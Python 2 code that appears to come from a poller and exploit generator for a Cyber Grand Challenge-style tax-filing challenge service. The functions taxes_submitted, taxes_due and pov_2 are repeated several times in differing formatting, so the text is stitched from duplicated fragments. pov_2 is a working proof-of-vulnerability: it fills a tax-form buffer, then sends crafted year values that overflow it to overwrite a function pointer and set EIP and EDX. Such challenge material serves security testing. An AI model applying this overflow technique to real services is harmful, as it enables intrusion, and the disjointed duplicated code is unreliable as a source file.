def taxes_submitted(self):
'''
Determine list of years in which a taxpayer submitted a TenFourD
'''
if DEBUG:
print "cmd: taxes submitted"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
years = []
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_SUBMITTED, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
years = tp.get_list_submitted_tax_years(
tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
if DEBUG:
print tdo
print " years: {0}".format(years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_SUBMITTED_FAIL
else:
ans = self.TAXES_SUBMITTED_OK + ''.join(
[sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(
len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key) + len(resp.answer)]
buf = buf[len(resp.s_key) + len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(
len(buf), sp.hexify(buf))
return 0
def taxes_submitted(self):
'''
Determine list of years in which a taxpayer submitted a TenFourD
'''
if DEBUG:
print "cmd: taxes submitted"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
years = []
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_SUBMITTED, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
if DEBUG:
print tdo
print " years: {0}".format(years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_SUBMITTED_FAIL
else:
ans = self.TAXES_SUBMITTED_OK + ''.join([sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key)+len(resp.answer)]
buf = buf[len(resp.s_key)+len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(len(buf), sp.hexify(buf))
return 0
def taxes_due(self):
'''
Determine total amount of tax due (+) or to be refunded (-)
'''
if DEBUG:
print "cmd: taxes due"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
sum_due = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_DUE, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
sum_due = tp.get_sum_taxes_due(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_DUE, tdo.gen_bytes())
if DEBUG:
print tdo
print " sum_due: {0}".format(sum_due)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_DUE_FAIL + sp.pack_single_int32(sum_due)
else:
ans = self.TAXES_DUE_OK + sp.pack_single_int32(sum_due)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(
len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key) + len(resp.answer)]
buf = buf[len(resp.s_key) + len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(
len(buf), sp.hexify(buf))
return 0
def pov_2(self):
'''
Create a new account
'''
if DEBUG:
print "cmd: create account -----------"
# create account
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.CREATE_ACCOUNT, tp.gen_new_taxpayer_data_bytes())
buf = s.gen_bytes()
self.write(buf)
# read s_key
self.read(length=12)
# read password
self.read(length=12, assign=self.state['pwd'])
# read the rest
self.read(length=8+128-12)
tp.password = "******"*12
if DEBUG:
print "cmd: login -----------"
s_key = sp.random_string(12)
s_loggedin = Session(s_key, tp, self.LOGIN, "")
(buf1, buf2) = s_loggedin.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
if DEBUG:
print "cmd: upload form -----------"
# 64 will fill buffer to max
tf_year = randint(0, 0xEFFF)
for _ in range(64):
t4d = TenFourD(tp)
t4d.tax_year = tf_year
tf_year += 1
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
# 1st & 2nd tax_year beyond buffer will overwrite fn ptr
# 4 more to fill in
# last 2 tax_years will overwite *r
# EIP = 0x1FFF0FFF
# EDX = 0xFBB0FBBF
for tf_year2 in [0x0FFF, 0x1FFF, tf_year+1, tf_year+2, tf_year+3, tf_year+4, 0xFBBF, 0xFBB0]:
t4d = TenFourD(tp)
t4d.tax_year = tf_year2
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
if DEBUG:
print "cmd: taxes submitted"
tdo = DateRange(0, 0xffff)
years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
if DEBUG and [] == years:
print " NO YEARS!"
s = Session(s_key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
def taxes_due(self):
'''
Determine total amount of tax due (+) or to be refunded (-)
'''
if DEBUG:
print "cmd: taxes due"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
sum_due = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_DUE, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
sum_due = tp.get_sum_taxes_due(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_DUE, tdo.gen_bytes())
if DEBUG:
print tdo
print " sum_due: {0}".format(sum_due)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_DUE_FAIL + sp.pack_single_int32(sum_due)
else:
ans = self.TAXES_DUE_OK + sp.pack_single_int32(sum_due)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key)+len(resp.answer)]
buf = buf[len(resp.s_key)+len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(len(buf), sp.hexify(buf))
return 0
def taxes_submitted(self):
'''
Determine list of years in which a taxpayer submitted a TenFourD
'''
if DEBUG:
print "cmd: taxes submitted"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
years = []
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_SUBMITTED, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
if DEBUG:
print tdo
print " years: {0}".format(years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_SUBMITTED_FAIL
else:
ans = self.TAXES_SUBMITTED_OK + ''.join([sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key)+len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key)+len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf)-len(resp.result))
# read result
buf = buf[len(buf)-len(resp.result):]
self.read(length=len(buf))
return 0
def taxes_due(self):
'''
Determine total amount of tax due (+) or to be refunded (-)
'''
if DEBUG:
print "cmd: taxes due"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
sum_due = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_DUE, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
sum_due = tp.get_sum_taxes_due(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_DUE, tdo.gen_bytes())
if DEBUG:
print tdo
print " sum_due: {0}".format(sum_due)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_DUE_FAIL + sp.pack_single_int32(sum_due)
else:
ans = self.TAXES_DUE_OK + sp.pack_single_int32(sum_due)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key)+len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key)+len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf)-len(resp.result))
# read result
buf = buf[len(buf)-len(resp.result):]
self.read(length=len(buf))
return 0
def pov_2(self):
'''
Create a new account
'''
if DEBUG:
print "cmd: create account -----------"
# create account
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.CREATE_ACCOUNT,
tp.gen_new_taxpayer_data_bytes())
buf = s.gen_bytes()
self.write(buf)
# read s_key
self.read(length=12)
# read password
self.read(length=12, assign=self.state['pwd'])
# read the rest
self.read(length=8 + 128 - 12)
tp.password = "******" * 12
if DEBUG:
print "cmd: login -----------"
s_key = sp.random_string(12)
s_loggedin = Session(s_key, tp, self.LOGIN, "")
(buf1, buf2) = s_loggedin.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
if DEBUG:
print "cmd: upload form -----------"
# 64 will fill buffer to max
tf_year = randint(0, 0xEFFF)
for _ in range(64):
t4d = TenFourD(tp)
t4d.tax_year = tf_year
tf_year += 1
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
# 1st & 2nd tax_year beyond buffer will overwrite fn ptr
# 4 more to fill in
# last 2 tax_years will overwite *r
# EIP = 0x1FFF0FFF
# EDX = 0xFBB0FBBF
for tf_year2 in [
0x0FFF, 0x1FFF, tf_year + 1, tf_year + 2, tf_year + 3,
tf_year + 4, 0xFBBF, 0xFBB0
]:
t4d = TenFourD(tp)
t4d.tax_year = tf_year2
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
if DEBUG:
print "cmd: taxes submitted"
tdo = DateRange(0, 0xffff)
years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
if DEBUG and [] == years:
print " NO YEARS!"
s = Session(s_key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
def taxes_submitted(self):
'''
Determine list of years in which a taxpayer submitted a TenFourD
'''
if DEBUG:
print "cmd: taxes submitted"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
years = []
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_SUBMITTED, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
years = tp.get_list_submitted_tax_years(
tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
if DEBUG:
print tdo
print " years: {0}".format(years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_SUBMITTED_FAIL
else:
ans = self.TAXES_SUBMITTED_OK + ''.join(
[sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key) + len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key) + len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf) - len(resp.result))
# read result
buf = buf[len(buf) - len(resp.result):]
self.read(length=len(buf))
return 0
def taxes_due(self):
'''
Determine total amount of tax due (+) or to be refunded (-)
'''
if DEBUG:
print "cmd: taxes due"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
sum_due = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_DUE, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
sum_due = tp.get_sum_taxes_due(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_DUE, tdo.gen_bytes())
if DEBUG:
print tdo
print " sum_due: {0}".format(sum_due)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_DUE_FAIL + sp.pack_single_int32(sum_due)
else:
ans = self.TAXES_DUE_OK + sp.pack_single_int32(sum_due)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key) + len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key) + len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf) - len(resp.result))
# read result
buf = buf[len(buf) - len(resp.result):]
self.read(length=len(buf))
return 0
